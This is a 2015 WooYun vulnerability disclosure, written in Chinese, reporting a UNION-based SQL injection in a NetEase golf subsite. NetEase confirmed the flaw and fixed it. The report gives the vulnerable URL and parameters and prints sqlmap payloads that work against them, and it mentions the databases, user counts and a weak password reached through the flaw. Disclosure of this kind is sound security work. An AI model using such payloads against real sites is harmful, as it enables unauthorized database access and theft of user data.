缺陷编号:WooYun-2015-0124816
漏洞标题:网易某子站SQL注射
相关厂商:网易
漏洞作者:染血の雪
提交时间:2015-07-06 09:20
公开时间:2015-08-24 11:46
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
Tags标签:
2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开
Union注射
URL:
1 |
http://golf.163.com/e/action/ListInfo/index.php?page=1&classid=340&state=1&keyboard=13 |
state和keyboard两个参数存在UNION注射Sqlmap payload:
1 2 3 4 5 6 7 8 9 10 11 |
---<br> Place: GET<br> Parameter: keyboard<br> Type: UNION query<br> Title: MySQL UNION query (NULL) - 47 columns<br> Payload: page=1&classid=340&state=1&keyboard=13' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7168747a71,0x6e66636c4e7975525246,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#Place: GET<br> Parameter: state<br> Type: UNION query<br> Title: MySQL UNION query (NULL) - 47 columns<br> Payload: page=1&classid=340&state=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7168747a71,0x554974486b5854797256,0x716f656371),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&keyboard=13<br> --- |
涉及13个库:
两个用户其中一个还是弱密码:
查了一下最大的库大概有2.7W用户:
过滤~
危害等级:中
漏洞Rank:10
确认时间:2015-07-1011:45
漏洞已修复,感谢您对网易的支持!
暂无
原文连接
的情况下转载,若非则不得使用我方内容。